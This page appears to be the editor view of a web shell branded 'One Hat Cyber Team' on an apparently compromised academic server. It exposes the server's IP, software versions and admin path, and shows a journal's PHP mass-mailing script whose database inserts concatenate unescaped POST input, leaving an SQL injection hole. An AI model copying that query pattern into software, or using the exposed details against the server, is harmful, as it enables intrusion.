One Hat Cyber Team
Your IP :
216.73.216.24
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
nosc
/
public_html
/
admin
/
Edit File:
email_send_multiple_persons.php
<?php require("../login/include/session.php"); require_once("lib/Swift.php"); require_once("lib/Swift/Connection/Sendmail.php"); //Try to connect using /usr/sbin/sendmail -bs //$swift = new Swift(new Swift_Connection_Sendmail()); $sendmail =& new Swift_Connection_Sendmail(); $sendmail->setTimeout(3); //3 seconds $swift =& new Swift($sendmail); //$swift = new Swift(new Swift_Connection_Sendmail(Swift_Connection_Sendmail::AUTO_DETECT)); include_once("header.php"); // letter_id // addressees[] $lang = take_variable('lang'); //$addressees = take_variable('addressees'); $addressees=$_POST['addressees']; $letter_id = take_variable('letter_id'); $send_to_all = $_POST['send_to_all']; if ($_POST['_back']) $_back = $_POST['_back']; if (!$_back) $_back = letter_edit_page(); //print_r($_POST); $letter = letter($letter_id); echo "<H1>".enruua("Sending letter","Посылаю письмо","Надсилаю листа"). " ". $letter_id."</H1>\n"; if ($letter['id']) { $c = count($addressees); $num_errors = 0; if ($c) { // $sigs = letter_signatures($letter['id']); echo "<TABLE>\n"; foreach ($addressees as $a) { $person = person($a); $language = languify(preferred_language($person)); $person_name = plain_short_name($person['id'],FALSE,$language,'TEXT'); echo "<TR>\n"; echo "<TD>". $person_name."</TD>\n"; $message_text = letter_opening($person,$letter['formal'],$language,'TEXT') . letter_text($letter,$language) . letter_closing($person,$formal,$language,'TEXT',$sigs); $message_html = letter_opening($person,$letter['formal'],$language,'HTML') . letter_html($letter,$language) . letter_closing($person,$formal,$language,'HTML',$sigs); /* $html = "<HTML><BODY>". nl2br($letter['body_'.$language])."</BODY></HTML>\n"; //$file = '/home/richard/example.php'; $crlf = "\r\n"; $hdrs = array( 'From' => "<". $_journal['name'][$language]."> " . $_journal['email'], 'Subject' => $letter['subject_'.$language]; ); */ //Create the message $message = new Swift_Message($letter['subject_'.$language]); $message->attach(new Swift_Message_Part($message_text)); $message->attach(new Swift_Message_Part($message_html, "text/html")); //tell("send_to_all=".$send_to_all); echo "<TD>"; if (!$send_to_all) { $e = the_email(primary_email($person)); //$mail->send($e, $hdrs, $body); //Swift_Address can accept an email address and a name, or just an email address $result = $swift->send($message, new Swift_Address($e, $person_name), new Swift_Address($_journal['email'], $_journal['name'][$language])); if ($result) { echo enruua("Sent to","Отправлено на","Відправлено на")." ".$e; mysql_query("INSERT INTO LSent (letter_id,author_id,sent_by,send_to_all) VALUES (" . "'".$letter_id."'," . "'".$person['id']."'," . "'".$session->author_id."'," . "'".$send_to_all."'" .")" ); } else { echo enruua("Could not send to", "Не удалось отправить на","Не вдалося відправити на")." ".$e; $num_errors++; } tell(enruua("Letter","Письмо","Лист") ." ". $letter_id." ".enruua("sent successfully", "успешно разослано", "успішно розіслано")."."); } else { echo "<OL>\n"; $emails = emails($person); //print_r($emails); foreach ($emails as $eentry) { echo "<li>\n"; $result = $swift->send($message, new Swift_Address($eentry['email_field'], $person_name), new Swift_Address($_journal['email'], $_journal['name'][$language])); if ($result) { echo enruua("Sent to","Отправлено на","Відправлено на")." ".$eentry['email_field']; } else { echo enruua("Could not send to", "Не удалось отправить на", "Не вдалося відправити на")." ".$eentry['email_field']; $num_errors++; } echo "</li>\n"; } echo "</OL>\n"; mysql_query("INSERT INTO LSent (letter_id,author_id,sent_by,send_to_all) VALUES (" . "'".$letter_id."'," . "'".$person['id']."'," . "'".$session->author_id."'," . "'".$send_to_all."'" .")" ); } echo "</TD>\n"; echo "</TR>\n"; }// echo "</TABLE>\n"; if ($num_errors) { tell(enruua("","","")."". $num_errors." ".enruua("errors","ошибки","помилки")."!"); } else { tell(enruua("Letter","Письмо","Лист") ." ". $letter_id." ".enruua("sent successfully", "успешно разослано", "успішно розіслано")."."); } // }//addressees else { tell(enruua("No recepients specified","Не указан ни один адресат","Не вказано жодного адресата")); } }//letter go($_back); ?> <?php include_once("footer.php"); ?>
Simpan